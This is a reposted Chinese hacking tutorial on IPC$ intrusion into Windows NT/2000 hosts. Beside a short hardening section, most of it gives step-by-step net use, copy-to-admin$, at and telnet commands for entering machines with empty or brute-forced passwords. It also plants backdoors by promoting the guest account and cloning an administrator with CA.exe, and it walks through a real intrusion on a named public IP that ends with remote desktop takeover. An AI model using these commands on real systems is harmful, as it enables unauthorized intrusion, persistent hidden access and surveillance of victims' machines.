• ipc$入侵


    转载于:https://www.cnblogs.com/KmXlOf/articles/4649912.html

    一 唠叨一下:
    网上关于ipc$入侵的文章可谓多如牛毛,而且也不乏优秀之作,攻击步骤甚至可以说已经成为经典的模式,因此也没人愿意再把这已经成为定式的东西拿出来摆弄.
    不过话虽这样说,但我个人认为这些文章讲解的并不详细,对于第一次接触ipc$的菜鸟来说,简单的罗列步骤并不能解答他们的许多迷惑(你随便找一个 hack论坛搜一下ipc,看存在的疑惑有多少).
    因此我写了这篇相当于解惑的教程.想把一些容易混淆,容易迷惑人的问题说清楚,让大家不要总徘徊在原地!如果你看完这篇帖子仍有疑问,请马上回复!


    二 什么是ipc$
    IPC$(Internet Process Connection)是共享"命名管道"的资源(大家都是这么说的),它是为了让进程间通信而开放的命名管道,可以通过验证用户名和密码获得相应的权限,在远程管理计算机和查看计算机的共享资源时使用。
    利用IPC$,连接者甚至可以与目标主机建立一个空的连接而无需用户名与密码(当然,对方机器必须开了ipc$共享,否则你是连接不上的),而利用这个空 的连接,连接者还可以得到目标主机上的用户列表(不过负责的管理员会禁止导出用户列表的)。
    我们总在说ipc$漏洞ipc$漏洞,其实,ipc$并不是真正意义上的漏洞,它是为了方便管理员的远程管理而开放的远程网络登陆功能,而且还打开了默认 共享,即所有的逻辑盘(c$,d$,e$……)和系统目录winnt或windows(admin$)。
    所有的这些,初衷都是为了方便管理员的管理,但好的初衷并不一定有好的收效,一些别有用心者(到底是什么用心?我也不知道,代词一个)会利用IPC$,访 问共享资源,导出用户列表,并使用一些字典工具,进行密码探测,寄希望于获得更高的权限,从而达到不可告人的目的.

    解惑:
    1)IPC连接是Windows NT及以上系统中特有的远程网络登陆功能,其功能相当于Unix中的Telnet,由于IPC$功能需要用到Windows NT中的很多DLL函数,所以不能在Windows 9.x中运行。
    也就是说只有nt/2000/xp才可以建立ipc$连接,98/me是不能建立ipc$连接的(但有些朋友说在98下能建立空的连接,不知道是真是假, 不过现在都2003年了,建议98的同志换一下系统吧,98不爽的)
    2)即使是空连接也不是100%都能建立成功,如果对方关闭了ipc$共享,你仍然无法建立连接
    3)并不是说建立了ipc$连接就可以查看对方的用户列表,因为管理员可以禁止导出用户列表


    三 建立ipc$连接在hack攻击中的作用
    就像上面所说的,即使你建立了一个空的连接,你也可以获得不少的信息(而这些信息往往是入侵中必不可少的),访问部分共享,如果你能够以某一个具有一定权 限的用户身份登陆的话,那么你就会得到相应的权限,显然,如果你以管理员身份登陆,嘿嘿,就不用我在多说了吧,what u want,u can do!!
    (基本上可以总结为获取目标信息、管理目标进程和服务,上传木马并运行,如果是2000server,还可以考虑开启终端服务方便控制.怎么样?够厉害 吧!)
    不过你也不要高兴的太早,因为管理员的密码不是那么好搞到的,虽然会有一些傻傻的管理员用空口令或者弱智密码,但这毕竟是少数,而且现在不比从前了,随着 人们安全意识的提高,管理员们也愈加小心了,得到管理员密码会越来越难的:(
    因此今后你最大的可能就是以极小的权限甚至是没有权限进行连接,你会慢慢的发现ipc$连接并不是万能的,甚至在主机不开启ipc$共享时,你根本就无法 连接.
    所以我认为,你不要把ipc$入侵当作终极武器,不要认为它战无不胜,它就像是足球场上射门前的传球,很少会有致命一击的效果,但却是不可缺少的,我觉得 这才是ipc$连接在hack入侵中的意义所在.


    四 ipc$与空连接,139,445端口,默认共享的关系
    以上四者的关系可能是菜鸟很困惑的一个问题,不过大部分文章都没有进行特别的说明,其实我理解的也不是很透彻,都是在与大家交流中总结出来的.(一个有良 好讨论氛围的BBS可以说是菜鸟的天堂)

    1)ipc$与空连接:
    不需要用户名与密码的ipc$连接即为空连接,一旦你以某个用户或管理员的身份登陆(即以特定的用户名和密码进行ipc$连接),自然就不能叫做空连接 了.
    许多人可能要问了,既然可以空连接,那我以后就空连接好了,为什么还要费九牛二虎之力去扫描弱口令,呵呵,原因前面提到过,当你以空连接登陆时,你没有任 何权限(很郁闷吧),而你以用户或管理员的身份登陆时,你就会有相应的权限(有权限谁不想呀,所以还是老老实实扫吧,不要偷懒哟).
    2)ipc$与139,445端口:
    ipc$连接可以实现远程登陆及对默认共享的访问;而139端口的开启表示netbios协议的应用,我们可以通过139,445(win2000)端口 实现对共享文件/打印机的访问,因此一般来讲,ipc$连接是需要139或445端口来支持的.
    3)ipc$与默认共享
    默认共享是为了方便管理员远程管理而默认开启的共享(你当然可以关闭它),即所有的逻辑盘(c$,d$,e$……)和系统目录winnt或 windows(admin$),我们通过ipc$连接可以实现对这些默认共享的访问(前提是对方没有关闭这些默认共享)

    五 ipc$连接失败的原因
    以下5个原因是比较常见的:
    1)你的系统不是NT或以上操作系统;
    2)对方没有打开ipc$默认共享
    3)对方未开启139或445端口(惑被防火墙屏蔽)
    4)你的命令输入有误(比如缺少了空格等)
    5)用户名或密码错误(空连接当然无所谓了)
    另外,你也可以根据返回的错误号分析原因:
    错误号5,拒绝访问 : 很可能你使用的用户不是管理员权限的,先提升权限;
    错误号51,Windows 无法找到网络路径 : 网络有问题;
    错误号53,找不到网络路径 : ip地址错误;目标未开机;目标lanmanserver服务未启动;目标有防火墙(端口过滤);
    错误号67,找不到网络名 : 你的lanmanworkstation服务未启动;目标删除了ipc$;
    错误号1219,提供的凭据与已存在的凭据集冲突 : 你已经和对方建立了一个ipc$,请删除再连。
    错误号1326,未知的用户名或错误密码 : 原因很明显了;
    错误号1792,试图登录,但是网络登录服务没有启动 : 目标NetLogon服务未启动。(连接域控会出现此情况)
    错误号2242,此用户的密码已经过期 : 目标有帐号策略,强制定期要求更改密码。
    关于ipc$连不上的问题比较复杂,除了以上的原因,还会有其他一些不确定因素,在此本人无法详细而确定的说明,就靠大家自己体会和试验了.


    六 如何打开目标的IPC$(此段引自相关文章)
    首先你需要获得一个不依赖于ipc$的shell,比如sql的cmd扩展、telnet、木马,当然,这shell必须是admin权限的,然后你可以 使用shell执行命令 net share ipc$ 来开放目标的ipc$。从上面可以知道,ipc$能否使用还有很多条件。请确认相关服务都已运行,没有就启动它(不知道怎么做的请看net命令的用法), 还是不行的话(比如有防火墙,杀不了)建议放弃。


    七 如何防范ipc$入侵
    1禁止空连接进行枚举(此操作并不能阻止空连接的建立,引自《解剖win2000下的空会话》)
    首先运行regedit,找到如下组建[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControl LSA]把RestrictAnonymous = DWORD的键值改为:00000001(如果设置为2的话,有一些问题会发生,比如一些WIN的服务出现问题等等)

    2禁止默认共享
    1)察看本地共享资源
    运行-cmd-输入net share
    2)删除共享(每次输入一个)
    net share ipc$ /delete
    net share admin$ /delete
    net share c$ /delete
    net share d$ /delete(如果有e,f,……可以继续删除)
    3)停止server服务
    net stop server /y (重新启动后server服务会重新开启)
    4)修改注册表
    运行-regedit
    server版:找到如下主键[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices LanmanServerParameters]把AutoShareServer(DWORD)的键值改为:00000000。
    pro版:找到如下主键[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices LanmanServerParameters]把AutoShareWks(DWORD)的键值改为:00000000。
    如果上面所说的主键不存在,就新建(右击-新建-双字节值)一个主健再改键值。

    3永久关闭ipc$和默认共享依赖的服务:lanmanserver即server服务
    控制面板-管理工具-服务-找到server服务(右击)-属性-常规-启动类型-已禁用

    4安装防火墙(选中相关设置),或者端口过滤(滤掉139,445等),或者用新版本的优化大师

    5设置复杂密码,防止通过ipc$穷举密码


    八 相关命令

    1)建立空连接:
    net use \IPipc$ "" /user:"" (一定要注意:这一行命令中包含了3个空格)

    2)建立非空连接:
    net use \IPipc$ "用户名" /user:"密码" (同样有3个空格)

    3)映射默认共享:
    net use z: \IPc$ "密码" /user:"用户名" (即可将对方的c盘映射为自己的z盘,其他盘类推)
    如果已经和目标建立了ipc$,则可以直接用IP+盘符+$访问,具体命令 net use z: \IPc$

    4)删除一个ipc$连接
    net use \IPipc$ /del

    5)删除共享映射
    net use c: /del 删除映射的c盘,其他盘类推
    net use * /del 删除全部,会有提示要求按y确认


    九 经典入侵模式
    这个入侵模式太经典了,大部分ipc教程都有介绍,我也就拿过来引用了,在此感谢原创作者!(不知道是哪位前辈)

    1. C:>net use \127.0.0.1IPC$ "" /user:"admintitrators"
    这是用《流光》扫到的用户名是administrators,密码为"空"的IP地址(空口令?哇,运气好到家了),如果是打算攻击的话,就可以用这样的 命令来与127.0.0.1建立一个连接,因为密码为"空",所以第一个引号处就不用输入,后面一个双引号里的是用户名,输入 administrators,命令即可成功完成。

    2. C:>copy srv.exe \127.0.0.1admin$
    先复制srv.exe上去,在流光的Tools目录下就有(这里的$是指admin用户的c:winntsystem32,大家还可以使用c$、 d$,意思是C盘与D盘,这看你要复制到什么地方去了)。

    3. C:>net time \127.0.0.1
    查查时间,发现127.0.0.1 的当前时间是 2002/3/19 上午 11:00,命令成功完成。

    4. C:>at \127.0.0.1 11:05 srv.exe
    用at命令启动srv.exe吧(这里设置的时间要比主机时间快,不然你怎么启动啊,呵呵!)

    5. C:>net time \127.0.0.1
    再查查到时间没有?如果127.0.0.1 的当前时间是 2002/3/19 上午 11:05,那就准备开始下面的命令。

    6. C:>telnet 127.0.0.1 99
    这里会用到Telnet命令吧,注意端口是99。Telnet默认的是23端口,但是我们使用的是SRV在对方计算机中为我们建立一个99端口的 Shell。
    虽然我们可以Telnet上去了,但是SRV是一次性的,下次登录还要再激活!所以我们打算建立一个Telnet服务!这就要用到ntlm了

    7.C:>copy ntlm.exe \127.0.0.1admin$
    用Copy命令把ntlm.exe上传到主机上(ntlm.exe也是在《流光》的Tools目录中)。

    8. C:WINNTsystem32>ntlm
    输入ntlm启动(这里的C:WINNTsystem32>指的是对方计算机,运行ntlm其实是让这个程序在对方计算机上运行)。当出 现"DONE"的时候,就说明已经启动正常。然后使用"net start telnet"来开启Telnet服务!

    9. Telnet 127.0.0.1,接着输入用户名与密码就进入对方了,操作就像在DOS上操作一样简单!(然后你想做什么?想做什么就做什么吧,哈哈)

    为了以防万一,我们再把guest激活加到管理组
    10. C:>net user guest /active:yes
    将对方的Guest用户激活

    11. C:>net user guest 1234
    将Guest的密码改为1234,或者你要设定的密码

    12. C:>net localgroup administrators guest /add
    将Guest变为Administrator^_^(如果管理员密码更改,guest帐号没改变的话,下次我们可以用guest再次访问这台计算机)

    第二部份:入侵实例

      今天打星际,被一高手反复摧残,郁闷ing……于是上网活动一下。打开肉鸡猎手,在开始IP和结束IP中填入想扫描的IP端,点击开始,不一会儿之后,两台肉鸡出现在我们面前(图一)。现在,让我们点击“开始”→“运行”→cmd.exe,打开可爱的命令行窗口。输入:net use \218.80.236.37IPC$ "" /user:administrator,提示“命令成功完成”。哈哈,现在我们就建立好了IPC$(远程管理连接),再来,取得远程主机时间:net time \218.80.236.37 显示: \218.80.236.37 的当前时间是 2003/5/22 上午 10:32。然后用at命令启动远程主机的telent服务,at \218.80.236.37 10:32 telent,

    方便我们登陆远程主机。(注意! 建立IPC$连接和登陆远程主机是截然不同的两个概念,建立IPC$是为了能够使用at 命令来启动telent服务,几乎所有的命令都是在登陆远程主机之后使用,否则都是对你自己的计算机操作。)然后,telent 218.80.236.37 23,出现如图提示窗口(图二),敲入administrator 回车两次,出现了命令提示符,现在开始我们敲入的命令都会在远程计算机上执行。先输入net user 看看有哪些用户,这里我们只发现了administrator,guest,Iuser_KiKi三个用户,考虑到下次进入该主机时用户可能已经更改了administrator 的密码,为了能够顺利地再次进入,我们需要留下一个小后门。通常我们会这样做,输入net user guest/active:yes 激活guest 用户(guest用户系统内置的,因此每台计算机上都有,默认禁用此用户)。net user guest 12345 更改guest的密码为12345,net localgroup administrators guest /add 把guest的权限提升为管理员权限,这样下次来的时后可以取得对远程主机的完全控制权。留好了后门之后,你可以好好地在他的机子上逛一圈,看看有没有什么有趣的东西,顺便把你刚学的命临实际操作一下。如果你觉得命令行实在不方便,那么跟我来,我将带你进入丰富多采的图形界面。现在,在命临行窗口下输入exit,显示“断开远程主机的连接”,我们用exit这个命令离开了远程主机,回到自己的机器上,点击载下来的DameWare,出现如图所示界面(图三),在"host name"里填上对方IP,输入用户名administrator和密码(现在密码为空,所以不填),点击"Connect",然后等待DameWare拷贝文件,启动服务等一系列动作完成。一会而之后,出现如图(图四)窗口,里面现示的就是远程主机的桌面,别人的一举一动你都可以看见,你还可以接管他的鼠标,是不是挺有意思的呢?但是记住,我们是来学习技术的,并不是来破坏的,所以千万别做什么坏事哦。

      文章写到这里就告一段落了,其实对于入侵实例,有几点我想特别提一下:

      (1)肉鸡猎手只能搜密码为空的主机,所以只能一开始让我们练练手。一般要对139端口攻击,我们使用SMBCrack这个软件,它是针对一台主机进行密码的暴力猜解的,速度非常快,在我机器上猜了24万个密码只用了半小时左右,命令行窗口下输入smbcrack 218.80.236.37 administrator words.txt 139 就开始猜解密码了。218.80.236.37这里改为你要攻击的IP,words.txt是字典,里面含有很多口令,你可以自己上网找找,好的字典能提高入侵的成功率。

      (2)telent上对方的机器后,我们为了更加隐蔽地留下后门,常常使用CA.exe,CA是(clone administrator)的缩写,看名字你就应该知道,它可以把其它用户克隆成管理员,CA.exe \218.80.236.37 Administrator Password IUSR_VICTIM SetNewPass,把IUSR_VICTIM克隆成为管理员,密码是SetNewPass,克隆完成之后,一般是无法发现的,所以隐蔽性非常高。

      (3)at 这个命令有点搞笑,很多人先net view \IP 看了时间后,再用at 来启动对方程序却常常失败,这是因为很多人都不知道,用net view \IP 得到的时间不能直接用于at,这涉及到+12的问题,如果你看到对方的时间是 下午 3:00,那么at 应该这样使用at \IP 15:00 telent。

    总结:最终目的是通过ipc$共享开启一些telnet服务或者3389端口等等,开启了一些服务后登陆进去留一些后门

  • 相关阅读:
    7人脸识别
    1图片视频文件操作基础
    3直方图与二值化,图像梯度
    6模板匹配(人脸匹配案例)
    基础习题
    碎片知识点整理
    详解:MySQL数据表损坏的正确修复方案
    前端开发:模块化 — 高效重构
    分享几个基于jQuery不错的前端相册展示插件代码
    程序员编程10年的心得和体会
  • 原文地址:https://www.cnblogs.com/1008612mrzou/p/12994667.html
Copyright © 2020-2023  润新知